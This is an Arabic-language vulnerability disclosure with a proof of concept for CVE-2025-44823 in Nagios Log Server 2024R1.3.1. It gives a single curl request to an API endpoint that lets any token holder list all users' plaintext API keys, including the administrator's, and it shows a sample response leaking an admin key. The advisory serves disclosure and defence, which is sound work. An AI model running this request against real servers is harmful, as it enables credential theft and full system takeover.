كشف مفاتيح API عبر مستخدم مُوثَّق في Nagios Log Server 2024R1.3.1

▶️ عرض توضيحي لإثبات المفهوم (PoC)

معرّف CVE: CVE-2025-44823

التاريخ: 2025-04-02

المؤلفون: Alex Tisdale, Seth Kraft

الصفحة الرئيسية للمورّد: https://www.nagios.com/

سجل تغييرات المورّد: https://www.nagios.com/changelog/#log-server

رابط البرنامج: https://assets.nagios.com/downloads/nagios-log-server/versions.php

الإصدار: 2024R1.3.1 والإصدارات الأقدم

تم الاختبار على: Nagios Log Server 2024R1.3.1 (الإعداد الافتراضي، Ubuntu 20.04)

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

التصريح

لأغراض البحث والاختبار المصرَّح به فقط. يُرجى عدم استخدامه ضد الأنظمة دون إذن.

الوصف

ثغرة أمنية على مستوى API في Nagios Log Server 2024R1.3.1 تتيح لأي مستخدم يمتلك رمز API صالحًا استرجاع قائمة كاملة بحسابات المستخدمين إلى جانب مفاتيح API الخاصة بهم كنص واضح، بما في ذلك بيانات اعتماد المسؤول. تُمكِّن هذه الثغرة من تعداد المستخدمين، وتصعيد الامتيازات، والاختراق الكامل للنظام عبر الاستخدام غير المصرَّح به للرموز المكشوفة.

إثبات المفهوم (PoC)

الخطوة 1: الوصول إلى نقطة النهاية المعرَّضة للخطر

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

استجابة نموذجية

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]